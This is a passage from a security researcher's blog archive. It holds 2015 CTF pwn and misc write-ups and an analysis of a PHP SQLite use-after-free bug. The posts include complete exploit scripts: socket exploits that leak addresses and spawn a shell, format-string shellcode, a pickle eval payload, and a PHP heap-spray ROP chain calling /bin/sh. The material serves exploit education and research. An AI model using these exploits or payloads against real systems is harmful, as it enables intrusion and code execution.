Showing posts with label 2015. Show all posts
Showing posts with label 2015. Show all posts

Thursday, December 31, 2015

32C3 CTF - Pwn 200 - Teufel

The binary allocates memory using mmap as below:
mmap(NULL, 12288, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0x7ffff7ff3000
And then 4096 bytes is given R+W permission:
mprotect(0x7ffff7ff4000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(mmap_addres+4096, 4096, PROT_READ|PROT_WRITE) = 0
Then stack pointer is set to address as mmap_address+8192. The function at 0x004004E6, allocates a stack as RSP-8 along with saved RIP and RBP. After this there are couple of read calls, first one reading bytes used as count parameter for second read call.
.text:00000000004004EE mov     edi, 0          ; fd
.text:00000000004004F3 lea     rsi, [rbp+buf]  ; buf
.text:00000000004004F7 mov     edx, 8          ; nbytes
.text:00000000004004FC call    _read

.text:0000000000400507 mov     edi, 0          ; fd
.text:000000000040050C lea     rsi, [rbp+buf]  ; buf
.text:0000000000400510 mov     rdx, [rbp+buf]  ; nbytes
.text:0000000000400514 call    _read
This leaves us with option to overwrite saved RIP, but very less amount of data could be written ie. 24 bytes. There is also an info leak due to puts, which prints data till NUL byte
.text:000000000040051F lea     rdi, [rbp+buf]  ; s
.text:0000000000400523 call    _puts
Below is the idea for info leak to get mmap and libc address:

[*] Trigger info leak using puts call, to get address of mmap area by leaking saved RBP
[*] Overwrite saved RBP with address of GOT entry of libc function
[*] Overwrite saved RIP to return again to puts call@0040051F. This will dump both mmap and libc address in one execution

Since the offset between libc and mmap remains fixed, we can calculate this using above info leak. Next to execute code I looked for single gadget call to execve in the provided libc
.text:00000000000F6950 loc_F6950:                              ; CODE XREF: sub_F6260+661
.text:00000000000F6950                 lea     rdi, aBinSh     ; "/bin/sh"
.text:00000000000F6957                 jmp     short loc_F6911

.text:00000000000F6911 loc_F6911:                              ; CODE XREF: sub_F6260+6F7
.text:00000000000F6911                 mov     rdx, [rbp+var_F8]
.text:00000000000F6918                 mov     rsi, r8
.text:00000000000F691B                 call    execve
Among the few available gadgets for execve call, the above one doesn't use RSP for memory reference and hence we can safely use in exploit. RBP is controlled due to overflow and r8 is set to 0 due to program state during crash, thus making a call execve("/bin/sh", 0, 0). Below is the exploit:
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

# from the provided libc
offset_exit = 0x00000000000cafe0

got_exit = 0x00600FD0

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

# get address of libc
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", got_exit + 8) # leak got entry of _exit
payload += struct.pack("<Q", 0x0040051F) # address to puts call
soc.send(payload)

soc.recv(128)
libc_exit = soc.recv(128).strip() + chr(0)*2
libc_exit = struct.unpack("<Q", libc_exit)[0]
print 'Address of exit : %s' % hex(libc_exit)

libc_base = libc_exit - offset_exit
print 'Address of libc base : %s' % hex(libc_base)

mmap_to_libc = RBP - libc_base
print 'Address offset : %s' % hex(mmap_to_libc)
Address of mmap : 0x7f30435c6000
Address of exit : 0x7f30430a6fe0
Address of libc base : 0x7f3042fdc000
Address offset : 0x5ea000
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = '136.243.194.41'
port = 666

offset_libc_base = 0x5ea000
offset_execve = 0x0F6950

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# get address of mmap
soc.send(struct.pack("<Q", 0xff))
# overwrite NUL byte in saved RBP to leak address
soc.send('AAAAAAAAA')
RBP = soc.recv(64).strip()[-5:]
RBP = chr(0) + RBP + chr(0)*2
RBP = struct.unpack("<Q", RBP)[0]
print 'Address of mmap : %s' % hex(RBP)

libc_base = RBP - offset_libc_base
execve = libc_base + offset_execve

# get shell
payload  = struct.pack("<Q", 0xff)
payload += struct.pack("<Q", 0x0000414141414141)
payload += struct.pack("<Q", 0x00600800) # RBP pointing to NULL
payload += struct.pack("<Q", execve)
soc.send(payload)
soc.recv(16)

s = telnetlib.Telnet()
s.sock = soc
s.interact()
# 32C3_mov_pop_ret_repeat
Flag for the challenge is 32C3_mov_pop_ret_repeat

32C3 CTF - Misc 300 - Gurke

This challenge is about python pickle. The remote script fetches the flag as below:
class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
  
flag = Flag()
Once the Flag class is instantiated, seccomp is used to restrict many of syscalls eg. socket calls used in Flag class won't work
f = SyscallFilter(KILL)
f.add_rule_exactly(ALLOW, "read")
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stdout.fileno()))
f.add_rule_exactly(ALLOW, "write", Arg(0, EQ, sys.stderr.fileno()))
f.add_rule_exactly(ALLOW, "close")
f.add_rule_exactly(ALLOW, "exit_group")

f.add_rule_exactly(ALLOW, "open", Arg(1, EQ, 0))
f.add_rule_exactly(ALLOW, "stat")
f.add_rule_exactly(ALLOW, "lstat")
f.add_rule_exactly(ALLOW, "lseek")
f.add_rule_exactly(ALLOW, "fstat")
f.add_rule_exactly(ALLOW, "getcwd")
f.add_rule_exactly(ALLOW, "readlink")
f.add_rule_exactly(ALLOW, "mmap", Arg(3, MASKED_EQ, 2, 2))
f.add_rule_exactly(ALLOW, "munmap")
But since the flag is already present in the scope of __main__, we can fetch it using the below pickle payload
class payload(object):
    def __reduce__(self):
        return (eval, ("__import__('__main__').flag.flag",))

sploit = pickle.dumps(payload())
Flag for the challenge is 32c3_rooDahPaeR3JaibahYeigoong

Thursday, October 22, 2015

FireEye Second Flare-On Reversing Challenges

My solutions for Flare-On reversing challenges is here

FireEye published some statistics in there blog
- Official Solutions and Winner Statistics
- Announcing the Second FLARE On Challenge

And this is what I got as prize from FLARE team

Wednesday, April 22, 2015

Plaid CTF 2015 - Pwnables - EBP Solution and ProdManager Analysis

EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
.text:08048557                 mov     eax, ds:stdin@@GLIBC_2_0
.text:0804855C                 mov     [esp+8], eax    ; stream
.text:08048560                 mov     dword ptr [esp+4], 1024 ; n
.text:08048568                 mov     dword ptr [esp], offset buf ; s
.text:0804856F                 call    _fgets

.text:08048503                 mov     dword ptr [esp+8], offset buf ; format
.text:0804850B                 mov     dword ptr [esp+4], 1024 ; maxlen
.text:08048513                 mov     dword ptr [esp], offset response ; s
.text:0804851A                 call    _snprintf
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write

So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.

But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit

#!/usr/bin/env python

import sys
import time
import socket
import struct
import telnetlib

ip = '127.0.0.1'
ip = '52.6.64.173'
port = 4545

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

def push(string):
    
    length = len(string)
    if (length % 4) != 0:
        string = '/' * (4 - (length % 4)) + string

    pushop = chr(0x68)
    payload = ''
    for i in range(0, len(string), 4):
        sub = string[i:i+4]
        payload = (pushop + sub) + payload
    return payload

shellcode = ("\x31\xc0\x50" +
            push("/home/problem/flag.txt") + 
            "\x89\xE7\x50" +
            push("/bin/cat") +
            "\x89\xe3"+
            "\x50\x57" +
            "\x53\x89\xE1\x89\xc2\xb0\x0b"+
            "\xcd\x80\x31\xc0\x40\xcd\x80")

fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len 
fake_eip = fake_ebp + 8

payload  = "%." + str(fake_ebp) + "u%4$n" 
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip)     # controlled eip
payload += shellcode

print "[*] Sending format string payload"
soc.send(payload + chr(0xa))

print "[*] Half close socket to trigger payload"
soc.shutdown(socket.SHUT_WR)

print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f

Flag for the challenge is who_needs_stack_control_anyway?

ProdManager - Use After free

prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.

The binary reads flag file into memory and provides the following options:
Menu options:
1) Create a new product 
2) Remove a product 
3) Add a product to the lowest price manager 
4) See and remove lowest 3 products in manager 
5) Create a profile (Not complete yet)
Input:
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
$ pin -t obj-ia32/structtrace.so -- programs/prodmanager
$ python structgraph.py --filename StructTrace --bss --relink --nullwrite 
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.



struct node
{
    int price;
    struct node *next;
    struct node *prev;
    int a;
    int b;
    int c;
    char name[50];
};
Creating 3 products and adding it to lowest price manager leaves us with this.



We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
struct node
{
    int price;
    struct node *next;
    struct node *prev;
    struct node *a;
    struct node *b;
    struct node *c;
    char name[50];
};
The use-after-free vulnerability

Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager

Setting MALLOC_PERTURB_=204, this is what we get
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xcccccccc 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 --> 0xcccccccc 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 ('A' , "\n")
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX points to 0x41414141
Used chunks of memory on heap
-----------------------------
     0: 0x0804d008 -> 0x0804d057       80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
     1: 0x0804d058 -> 0x0804d0a7       80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
     2: 0x0804d0a8 -> 0x0804d0f7       80 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here

Thursday, April 2, 2015

Exploiting PHP Bug #66550 - SQLite prepared statement use-after-free - [A local PHP exploit]

As the title says, this bug is useful only for post exploitation to bypass protections when the attacker already has arbitrary PHP code execution. Nevertheless, this was a good exploit exercise.

This SQLite prepared statement use-after-free was reported by Sean Heelan. Here is the link to the bug and detailed analysis Bug 66550 - SQLite prepared statement use-after-free.

The summary as per Sean - The sqlite3_close method, which is used to close a database connection, tears down the sqlite3_stmt objects associated with any prepared statements that have been created using the database. The prepared statements can still be accessed directly after this has occured, leading to a use-after-free condition.

Trigger

Let's check the POC provided by Sean, setting MALLOC_PERTURB_=204
<?php

$db = new SQLite3(':memory:');
$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
// Close the database connection and free the internal sqlite3_stmt object
$db->close();
// Access the sqlite3_stmt object via the php_sqlite3_stmt container
$stmt->reset();

?>

EAX: 0xcccccccc 
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a52e38 --> 0xcccccccc 
EDI: 0x0 
EBP: 0xb77cb0c8 --> 0x2 
ESP: 0xbfffb8a0 --> 0xb77cb0e4 --> 0x0 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]
   0xb73c2910 : mov    DWORD PTR [esp],eax
   0xb73c2913 : call   0xb736fea0 
   0xb73c2918 : mov    eax,esi
   0xb73c291a : call   0xb73c18f0 

gdb-peda$ bt
#0  0xb73c290d in sqlite3_reset (pStmt=0x8a52e38) at sqlite3.c:64509
#1  0xb742b069 in zim_sqlite3stmt_reset (ht=0x0, return_value=0xb77cb0e4, return_value_ptr=0x0, this_ptr=0xb77cb0c8, return_value_used=0x0)
    at /build/buildd/php5-5.5.9+dfsg/ext/sqlite3/sqlite3.c:1316

gdb-peda$ x/100x 0x8a52e38
0x8a52e38: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e48: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e58: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e68: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e78: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e88: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e98: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ea8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52eb8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ec8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ed8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ee8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ef8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52f08: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
Clearly, some freed memory is being accessed.

Heap spray

Now, lets try reallocating the same memory using user controlled data. Allocations done by functions like str_repeat etc uses zend allocator, which goes into a separate mmap'ed region since large malloc requests are serviced using mmap during _zend_mm_alloc_int. Our freed object resides in glibc allocated heap region, so we need some heap operation that re-uses the glibc heap.

So, lets use SQLite operations to try and allocate this region. Idea was to use SQLite insert operations to control the freed structure. I created two databases, one to be freed and another to perform heap spray. Below is the POC.
<?php

error_reporting(0);

$db_spray = new SQLite3(':memory:');
$db_uaf   = new SQLite3(':memory:');

$db_spray->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_uaf->exec('CREATE TABLE foo (id INTEGER, bar STRING)');

$stmt = $db_uaf->prepare('SELECT bar FROM foo WHERE id=:id');
$db_uaf->close();

for($i = 0; $i <= 300; $i++){
    $id  = (string) $i;
    $bar = chr($i) . str_repeat("A", 320);
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES ({$id},'{$bar}')");
}
$stmt->reset();
?>
EAX: 0x41414141 ('AAAA')
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a654c0 ('A' ...)
EDI: 0x0 
EBP: 0xb77cc198 --> 0x3 
ESP: 0xbfffb8b0 --> 0x8a415a0 --> 0xb7421c20 --> 0x3 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]

Danny quickly asked me to use BLOB data type as we could freely use binary data. Cool, using BLOB we have full control over freed structure.

Code Path to Control EIP

So how do we get code execution from here? Let's take a look at the structure we control.
/*
** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare()
** is really a pointer to an instance of this structure.
*/

struct Vdbe {
  sqlite3 *db;            /* The database connection that owns this statement */
  Op *aOp;                 /* Space to hold the virtual machine's program */
  Mem *aMem;               /* The memory locations */
  Mem **apArg;             /* Arguments to currently executing user function */
  Mem *aColName;           /* Column names to return */
  Mem *pResultSet;         /* Pointer to an array of results */
  Parse *pParse;           /* Parsing context used to create this Vdbe */
  int nMem;               /* Number of memory locations currently allocated */
  int nOp;                 /* Number of instructions in the program */
  int nCursor;            /* Number of slots in apCsr[] */
  u32 magic;               /* Magic number for sanity checking */
  char *zErrMsg;           /* Error message written here */
  Vdbe *pPrev, *pNext;  /* Linked list of VDBEs with the same Vdbe.db */
  VdbeCursor **apCsr;      /* One element of this array for each open cursor */
  Mem *aVar;               /* Values for the OP_Variable opcode. */
  char **azVar;            /* Name of variables */
  ynVar nVar;              /* Number of entries in aVar[] */
 …..
 …..
  AuxData *pAuxData;      /* Linked list of auxdata allocations */
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  i64 *anExec;            /* Number of times each op has been executed */
  int nScan;              /* Entries in aScan[] */
  ScanStatus *aScan;      /* Scan definitions for sqlite3_stmt_scanstatus() */
#endif
};

We could control the vdbe structure defined in vdbeInt.h after being freed. I analyzed sqlite3_reset routine to take control of EIP but there must be other code paths to achieve the same. Below are the code paths taken, check the comments for details
SQLITE_API int sqlite3_reset(sqlite3_stmt *pStmt){
  int rc;
  if( pStmt==0 ){
    rc = SQLITE_OK;
  }else{
    Vdbe *v = (Vdbe*)pStmt;
    sqlite3_mutex_enter(v->db->mutex); // set v->db->mutex to NULL
    rc = sqlite3VdbeReset(v);  // take this path
int sqlite3VdbeReset(Vdbe *p){
  sqlite3 *db;
  db = p->db;
  sqlite3VdbeHalt(p);   // take this path
int sqlite3VdbeHalt(Vdbe *p){
  int rc;                         
  sqlite3 *db = p->db;

  if( p->db->mallocFailed ){
    p->rc = SQLITE_NOMEM;
  }
  if( p->aOnceFlag ) memset(p->aOnceFlag, 0, p->nOnceFlag);
  closeAllCursors(p);   // take this path
static void closeAllCursors(Vdbe *p){
  if( p->pFrame ){    // set p->pFrame to NULL
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    sqlite3VdbeFrameRestore(pFrame);
    p->pFrame = 0;
    p->nFrame = 0;
  }
  assert( p->nFrame==0 );

  if( p->apCsr ){   // take this path
    int i;
    for(i=0; i < p->nCursor; i++){
      VdbeCursor *pC = p->apCsr[i];
      if( pC ){
        sqlite3VdbeFreeCursor(p, pC);   // take this path

sqlite3VdbeFrameRestore is very interesting due to its arbitrary read and write as we control the VdbeFrame *pFrame. But I didn't use it
int sqlite3VdbeFrameRestore(VdbeFrame *pFrame){
  Vdbe *v = pFrame->v;
#ifdef SQLITE_ENABLE_STMT_SCANSTATUS
  v->anExec = pFrame->anExec;
#endif
  v->aOnceFlag = pFrame->aOnceFlag;
  v->nOnceFlag = pFrame->nOnceFlag;
  v->aOp = pFrame->aOp;
  v->nOp = pFrame->nOp;
  v->aMem = pFrame->aMem;
  v->nMem = pFrame->nMem;
  v->apCsr = pFrame->apCsr;
  v->nCursor = pFrame->nCursor;
  v->db->lastRowid = pFrame->lastRowid;
  v->nChange = pFrame->nChange;
  v->db->nChange = pFrame->nDbChange;
  return pFrame->pc;
}

void sqlite3VdbeFreeCursor(Vdbe *p, VdbeCursor *pCx){
  if( pCx==0 ){
    return;
  }
  sqlite3VdbeSorterClose(p->db, pCx);
  if( pCx->pBt ){   // set pCx->pBt to NULL
    sqlite3BtreeClose(pCx->pBt);
    /* The pCx->pCursor will be close automatically, if it exists, by
    ** the call above. */
  }
  else if( pCx->pCursor ){  // set pCx->pCursor to NULL
    sqlite3BtreeCloseCursor(pCx->pCursor);
  }
#ifndef SQLITE_OMIT_VIRTUALTABLE
  else if( pCx->pVtabCursor ){  // take this path
    sqlite3_vtab_cursor *pVtabCursor = pCx->pVtabCursor;
    const sqlite3_module *pModule = pVtabCursor->pVtab->pModule;
    assert( pVtabCursor->pVtab->nRef>0 ); 
    pVtabCursor->pVtab->nRef--;  
    pModule->xClose(pVtabCursor);  // control EIP
  }
#endif
}
Now we know the code path to take control of instruction pointer, sqlite3_reset -> sqlite3VdbeReset -> sqlite3VdbeHalt -> closeAllCursors -> sqlite3VdbeFreeCursor -> pModule->xClose(pVtabCursor)

We need to setup a series of fake structures such that pModule->xClose and pVtabCursor will point to user controlled data.

   struct Vdbe       struct sqlite3 
[   sqlite3 *db    ]-------->[ AAAA ] 
[     nCursor      ]         [ AAAA ] 
[VdbeCursor **apCsr]----|    [ AAAA ]  
[      nVar        ]    |    [sqlite3_mutex *mutex] 
                           |
                           |--->[apCsr[0] |...| apCsr[n]]
                                   |
                                   |
               struct VdbeCursor   |     
                    [sqlite3_vtab_cursor *pVtabCursor]
                                   |
      struct sqlite3_vtab_cursor   | 
                         [sqlite3_vtab *pVtab]   /* Virtual table of this cursor */
                                   |
             struct sqlite3_vtab   |
                      [sqlite3_module *pModule]
                                   |
          struct sqlite3_module    |     
                [int (*xClose)(sqlite3_vtab_cursor*)]

That's EIP control.

ASLR Bypass using Bruteforce

We need to precisely know the address of these fake structures in heap to take the interested code path and get the exploit working. Bruteforcing heap address is always an option, especially in 32 bit environments. In 32 bit environment, zend allocator using mmap will be having lesser entropy compared to the glibc heap. So pointers in struct Vdbe, could point to zend allocated memory to make bruteforce easier. Also since there is no randomization between mmap'ed region, bruteforcing one address should reveal the address of other libraries.

The case is different for 64 bit environment, heap address has less entropy in a non-PIE binary but rest of the regions have good randomization. For PIE binary, heap is also well randomized and bruteforce is not feasible.

ASLR Bypass using Information Leak

But let's see if we can leak some information using the UAF. This is what the documentation says,
(PHP 5 >= 5.3.0)
SQLite3Stmt::paramCount — Returns the number of parameters within the prepared statement

public int SQLite3Stmt::paramCount ( void )

And below is the implementation
/*
** Return the number of wildcards that can be potentially bound to.
** This routine is added to support DBD::SQLite.  
*/
int sqlite3_bind_parameter_count(sqlite3_stmt *pStmt){
  Vdbe *p = (Vdbe*)pStmt;
  return p ? p->nVar : 0;
}
By calling paramCount(), we could retrieve the value pointed by p->nVar in the already freed sqlite3_stmt structure. Now if we could perform some operations to pollute/allocate the freed SQLite3Stmt struct, with useful values like pointers, p->nVar can leak that pointer. I triggered a series of SQLlite operations and read $stmt->paramCount() values to get info leak about heap address. Since we have address of heap, fake structures could be setup and further arbitrary read could be achieved using SQLite SELECT statement [didn't explore this though].

Environment

Distributor ID: Ubuntu
Description: Ubuntu 14.04.2 LTS
Release: 14.04
Codename: trusty

$ php -v
PHP 5.5.9-1ubuntu4.7 (cli) (built: Mar 16 2015 20:48:03) 

SQLite3 support => enabled
SQLite3 module version => 0.7-dev
SQLite Library => 3.8.2
Exploit

Below is the exploit to get information leak and code execution bypassing ASLR+NX. Binary is non-PIE, hence I used gadgets from the executable. Even if its PIE, we could bypass this by stretching the info leak. The heap spray and offset may require some tinkering to get it working due to environment changes.
<?php

error_reporting(0);

function pad($num){
    return str_repeat(pack("L", 0x00000000), $num);
}

/* For information leak */

$db_spray = new SQLite3(':memory:');
$db_ileak = new SQLite3(':memory:');

$db_ileak->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db_ileak->prepare('SELECT bar FROM foo WHERE id=:id');
$db_ileak->close();

echo("[*] Triggering info leak using UAF". PHP_EOL);
$leaked_address = array();

/* massage heap */
for($i = 0; $i <= 80; $i++){
    $db_spray->exec('CREATE TABLE ' .chr($i). str_repeat('A', 0x140 + $i) . ' (id INTEGER, bar STRING)');

    /* info leak using paramCount */
    $count = $stmt->paramCount();
    $res   = $count & 0xff000000;
    if($res >= 0x08000000 && $res <= 0x0c000000)
    array_push($leaked_address, $count);
}

$heap = $leaked_address[0];
echo("[*] Leaked heap address = 0x" . dechex($heap) . PHP_EOL);
$db_spray->close();

/* offset to vdbe struct from leaked address */
$offset = 0x140e8;
$stmt_address = $heap+$offset;
echo("[*] Vdbe statement struct at address = 0x" . dechex($stmt_address) . PHP_EOL);

/* For code execution */

$db_exp    = new SQLite3(':memory:');
$db_spray  = new SQLite3(':memory:');

$db_exp->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_spray->exec('CREATE TABLE foo (id INTEGER, bar BLOB)');
$stmt_exp = $db_exp->prepare('SELECT bar FROM foo WHERE id=:id');
$db_exp->close();

/* setup fake structures */
$pad = 6;
$fake_vdbe  = str_repeat(pack("L", 0xdeadbeef), $pad);

$fake_vdbe .= pack("L", $stmt_address+216);  # sqlite3 *db 
$fake_vdbe .= pad(11);
$fake_vdbe .= pack("L", 0x44444444);  # p->nCursor
$fake_vdbe .= pad(4);
$fake_vdbe .= pack("L", $stmt_address+232); # p->apCsr
$fake_vdbe .= pad(36);

# sqlite3 db struct starts here
$fake_vdbe .= pad(3);
$fake_vdbe .= pad(1);    # sqlite3_mutex *mutex = NULL
$fake_vdbe .= pack("L", $stmt_address+236); # p->apCsr[0]

# apCsr struct starts here
$fake_vdbe .= pad(1);     # pCx->Cursor,  sqlite3BtreeCloseCursor
$fake_vdbe .= pad(1);     # pCx->pBt,     sqlite3BtreeClose
$fake_vdbe .= pad(6);
$fake_vdbe .= pack("L", $stmt_address+300); # apCsr[0]->pVtabCursor
$fake_vdbe .= pad(6);
$fake_vdbe .= pad(1);     # pCsr->pSorter

# pVtabCursor
$fake_vdbe .= pack("L", $stmt_address+304); # pVtabCursor->pVtab
$fake_vdbe .= pack("L", $stmt_address+308); # pVtabCursor->pVtab->pModule

# pModule
$fake_vdbe .= pack("L", 0x081a9930);  # pop esp; ret
$fake_vdbe .= pack("L", $stmt_address+340); # address to ROP payload
$fake_vdbe .= pack("L", 0x55555555);  
$fake_vdbe .= pack("L", 0x086c2e16);  # stack pivot, pop esi ; mov bh, 0x03 ; pop esp ; ret
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x55555555);
$fake_vdbe .= pack("L", 0x08183a4b);   # pModule->xClose, mov dword [esp], ecx ; call dword [edx+0x14]

# payload
$fake_vdbe .= pack("L", 0x080965c0);  # execl("/bin/sh", NULL)
$fake_vdbe .= pack("L", 0xdeadbeef);
$fake_vdbe .= pack("L", 0x087c1548);
$fake_vdbe .= pack("L", 0x00000000);

$fake_vdbe .= str_repeat("B", 0x214 - strlen($fake_vdbe)); 

/* heap spray */
for($i = 0; $i <= 200; $i++){
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES (" . (string)$i . ", X'" . bin2hex($fake_vdbe) . "')");
}

echo("[*] Triggering UAF to get shell". PHP_EOL);
$stmt_exp->reset();

/*
renorobert@ubuntu:~$ php -f 66550_poc.php 
[*] Triggering info leak using UAF
[*] Leaked heap address = 0x9819790
[*] Vdbe statement struct at address = 0x982d878
[*] Triggering UAF to get shell
$ 
*/
?>
Alternate Code Path

After some analysis, I found another code path which is far more simpler to exploit
static void closeAllCursors(Vdbe *p){

  if( p->pFrame ){ // skip this
    VdbeFrame *pFrame;
    for(pFrame=p->pFrame; pFrame->pParent; pFrame=pFrame->pParent);
    sqlite3VdbeFrameRestore(pFrame);
    p->pFrame = 0;
    p->nFrame = 0;
  }
  assert( p->nFrame==0 );

  if( p->apCsr ){      // skip this
